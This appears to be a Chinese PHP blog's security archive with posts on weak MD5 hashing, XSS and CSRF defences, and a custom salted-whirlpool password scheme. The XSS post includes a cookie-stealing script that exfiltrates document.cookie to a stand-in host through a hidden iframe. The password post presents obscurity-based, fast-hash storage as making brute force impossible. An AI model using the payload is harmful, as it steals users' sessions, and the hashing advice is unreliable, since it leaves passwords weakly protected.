分类目录归档:安全

安全主题 之 哈希字符串暴破

参考:http://blog.ifeeline.com/1569.html,在这里描述了如何安全保存密码,最安全的做法就是无法识别使用了何种哈希算法,或者对得到的哈希字符串进行一个自定义的算法(主要打乱顺序与正确还原)。

最近接触到了一种保存保存密码哈希的方法,如此:md5(md5($pass)),看起来两次哈希,貌似比较安全,实际这个做法已经极度不安全了:

<?php
function md5Hash($str='')
{
	if(!empty($str)) {
		return md5(md5($str));
	}
	return '';
}
echo md5Hash('1');
//输出28c8edde3d61a0411511d3b1866f0636

mdmd
这里它自动识别了加密的方式,很明显,它已经查询到了原密码。更进一步,如果查询不到密码,它会放入后台去爆破,成功后发邮件通知。是不是有点心动或心慌?

实际上,md5(md5($pass))跟md5($pass)已经没有什么差别了。那么加入slat的通用做法是不就安全呢,看这个站点提供的暴力破解的哈希类型就可以得到答案:
hashstyle
可见,MD5这种算法,即使加了slat,被爆破的可能性还是很大的。

所以,不要使用这里的算法,比如尽可能不要再使用MD5了,可以更换成whirlpool,这算法会产生一个长串,长串暴露后,目前的程序估计还无法识别其算法。好吧,就算其可以识别,那么我们再来一个自定义算法(比如某某位置字符调换一下),这样即使这个串暴力出来了,那么它也是错误的。

这里描述的内容,希望可以提升各位看官的安全意识,别一厢情愿…

安全主题 之 XSS与CSRF

客户端和服务端的状态保存依靠客户端回传会话ID来保持,会话ID可以通过Cookie也可以通过在URL中附加会话ID来实现传递,如果会话ID被挟持,恶意攻击者(或脚本)就可以通过这个会话ID来伪造请求和服务器进行通信。

两种情况比较常见,一、传输过程中泄露了会话ID 二、XSS注入攻击和CSRF攻击。

对于传输过程中泄露问题,目前业界标准解决方案就是安全链接(HTTPS), 会话的Cookie可以配置成仅通过安全链接进行传输,在PHP中:

session.cookie_secure boolean
session.cookie_secure 指定是否仅通过安全连接发送 cookie。默认为 off。此设定是 PHP 4.0.4 添加的。参见 session_get_cookie_params() 和 session_set_cookie_params()。

会话被挟持的另一种情况是XSS注入攻击和CSRF攻击。
1 XSS
XSS 全称“跨站脚本”,是注入攻击的一种。其特点是不对服务器端造成任何伤害,而是通过一些正常的站内交互途径,例如发布评论,提交含有 JavaScript 的内容文本。这时服务器端如果没有过滤或转义掉这些脚本,作为内容发布到了页面上,其他用户访问这个页面的时候就会运行这些脚本。

假如被注入了如下脚本:

(function(window, document) {
	var cookies = document.cookie;
	var xssBase = "http://xss.com/";
	var xssURI = xssBase + window.encodeURI(cookies);

	var hideFrame = document.createElement("iframe");
	hideFrame.height = 0;
	hideFrame.width = 0;
	hideFrame.style.display = "none";
	hideFrame.src = xssURI;
	
	document.body.appendChild(hideFrame);
})(window, document);

那么任何一个用户访问时,它的Cookie信息都被发送出去。虽然浏览器中脚本跨域做了限制,但是通过iframe把可以突破这个限制。

XSS还可以更加简单点,比如注入没有结束的HTML标签,可能会导致页面显示问题,或注入一段死循环的脚本。所以在编写程序时,一定要对数据进行有效过滤,特别的,对JS还可以嵌入到HTML标签的属性中,这个处理最为麻烦。

2 CSRF
CSRF全称是跨站请求伪造。一般可以把通过XSS实现的CSRF称为XSRF。CSRF关注点在伪造的请求。而XSS是跨站脚本,这个脚本可以发起伪造请求也可以做其它的操作,XSS关注点在注入。

假如用户C登录了网站A,在没有登出的情况下,它去访问了有恶意代码的网站B,那么这些恶意的代码就可以向网站A以用户C的身份发起攻击。比如恶意代码中包含了删除网站A相关信息的代码等,而这个用户C并不知情。恶意代码来自网站B,所以理论上它并不能获取到用户C在网站A的Cookie,但是它可以以用户C的身份访问网站A。

来自网站B的恶意代码可以非常容易伪造请求访问网站A,比如把请求链接嵌入img标签中,或者构建POST请求。恶意代码可能来自网站B被XSS注入,也可能是通过其它途径点击了某个带恶意代码的链接。为了避免网站A遭受攻击,除了使用验证码外,最通用的办法是加入会话安全码,处理请求时验证这个安全码,由于安全码是随机的,恶意代码事先并无法知晓,所以可以有效拦截这种类型的攻击。

//
Zend_Session::start();
$token = new Zend_Session_Namespace('Yaa_Token');
if(!isset($token->securityToken)) {
	$token->securityToken = md5(uniqid(rand(),true));
}

//
$token = new Zend_Session_Namespace('Yaa_Token');
if(!isset($_POST['securityToken']) || !isset($token->securityToken) || ($_POST['securityToken'] != $token->securityToken)) {

}

为了避免后台登录遭受CSRF攻击,通常都会插入一个Token,而且这个Token要求每次刷新登录页面时都不一样。 后台登录一般都会加入防止暴力破解的逻辑,一旦某个用户尝试密码次数超过限制,就会限制用户登录,如果不验证Token,一旦遭受CSRF攻击,原本正常的用户就会被限制。如果一个会话的Token都不改变,那么恶意代码可以加入这个Token,也可以发起无数次伪造请求,所以安全要求很高的后台登陆,就要求Token要随着每次登录请求而改变。

实际上,对于后台登录这样的表单,加入一个动态的Token还可以一定程度上增加暴力破解的难度。现象一下,如果没有加入动态Token也没有加入其它的防爆方法,那么在域外构建一个表单,就可以无数次的发起伪造请求进行嗅探,而且每个请求服务端都要开一个会话与之对应(只用一次),这样资源可能被大量占用。但是加入了Token就不一样了,如果你需要暴力破解,那么要先读取Token,由于Token仅仅保存在当前会话,所以还要把会话ID提取出来,之后构建表单,由于这个请求回传了会话ID,所以不会打开大量会话,发起这样的伪造请求难度加大。

当然了,后台登录加入动态Token并不是为了防暴力破解,要对付暴力破解,只要针对某个IP的请求,如果尝试了多次不成功则列入黑名单,黑名单中的IP在一段时间内被限制登录即可。当然,目前最通用常见的方法是,如果尝试了多次不成功,那么则要求输入验证吗,这个方式看起来是用户体验会好些。

永久链接:http://blog.ifeeline.com/1599.html

安全主题 之 密码保存

网站登录的各种账户一般都应该经过哈希处理之后进行保存。但是如果直接对明文进行哈希后保存还是远远不够的,通常我们需要随机生成一个字符串然后和明文合并在一起再取哈希,把得到的哈希和哈希串合并起来保存,在比对密码时,先分解出随机串取和哈希,然后重复一次产生密码的过程得到哈希码,对比新旧哈希是否一致来判断密码是否正确。

这个过程有几个关键点需要注意:
1 随机串的生成应该是长度一样的,最好是跟哈谢结果使用一样的字符集合,因为这样的字符串跟哈希串合并后可以让机器无法识别哈希算法
2 随机字符串和密码哈希合并时,实际上可以按照一定规律插入到哈希码中间去(取出时按照一样的规则),这样做,可以让机器彻底无法识别哈希算法,就算符合某种算法规则,计算结果永远是错误,这个可以彻底杜绝暴力破解。
3 哈希算法的选择,实际只要做到以上两点,使用什么哈希算法已经无关重要,举例,随机串长度选择为32字符,按照固定位置插入到哈希字符中间,首先什么算法得到这样的串,机器已经无法知晓,就算知道,成功分离了随机串,那么意味值你至少需要暴力破解一个33(假设密码最小长度为一个字符)个字符的密码,这是一个天文数字,它足够安全了。

以下是实现以上思维的例子:

class Password{
	
    // 产生随机串
    public static function getPasswordSalt(){
        return substr(hash('whirlpool',mt_rand()),0,20);
    }
    
    // 根据Hash返回salt
    public static function getPasswordSaltByHash($hash){
        if(!empty($hash)) {
            return substr($hash,32,20);
        }
        return '';
    } 
    
    // 随机串插入32字符处
    public static function getPasswordHash($salt,$password){
        $hash = hash('whirlpool',$salt.$password);
        return substr($hash,0,32).$salt.substr($hash,32);
    }
     
    // 比对密码
    public static function comparePassword($password,$hash)
    {
        // 取回随机串
        $salt = substr($hash,32,20);
        // 用这个随机串产生哈希,比对是否相等
        return $hash == Password::getPasswordHash($salt,$password);
    }
     
    // 密码对应的哈希,封装函数
    public static function getHash($password)
    {
        return Password::getPasswordHash(Password::getPasswordSalt(),$password);
    }
}

// 测试
$password = "admin";
$salt = Password::getPasswordSalt();

$password_hash = Password::getPasswordHash($salt,$password);

echo $salt."\n";
echo hash('whirlpool',$salt.$password)."\n";
echo $password_hash;
echo "\n--------------------------\n";

if(Password::comparePassword($password,$password_hash)){
	echo "密码一样\n";
}else{
	echo "密码不一样\n";
}

if(Password::comparePassword("adminadmin",$password_hash)){
	echo "密码一样\n";
}else{
	echo "密码不一样\n";
}

输出:
988d3ae1f014be38072a
d95a8d4b33882d8c850305067180279476a82ecc3e308ff6b4d32b7e050c68d31e049be899c2e49d8d614d2d4ccf03ff50cdfb87a691f3522283af339b81ccc1
d95a8d4b33882d8c8503050671802794988d3ae1f014be38072a76a82ecc3e308ff6b4d32b7e050c68d31e049be899c2e49d8d614d2d4ccf03ff50cdfb87a691f3522283af339b81ccc1
————————–
密码一样
密码不一样

机器可能可以识别插入了随机串(salt)的哈希码所使用的算法,但是随机串(salt)插入了哪个位置和长度是无法判断的,因此不可能从这个串暴力出原来密码,再说这个salt长度有20字符,那么密码至少有21位(一般设置9字符密码,那么长度就会达到29位),就算现在很牛逼的“彩虹表”也最多支持查询10多位的密码暴力破解而已,更比说曝光的哈希字符串本身是一个”错误”的。